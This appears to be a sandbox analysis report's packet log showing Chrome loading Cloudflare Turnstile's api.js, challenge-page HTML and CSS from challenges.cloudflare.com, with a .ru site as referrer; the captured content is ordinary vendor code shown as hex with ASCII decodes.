2025-01-10 18:04:50 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49725	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:50 UTC	798	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://pllu.gnoqwwhpwe.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:50 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26635 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-10 18:04:50 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 65 39 37 37 65 34 63 66 65 66 37 38 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ffe977e4cfef78d-EWRalt-svc: h3=":443"; ma=86400
2025-01-10 18:04:50 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-10 18:04:50 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
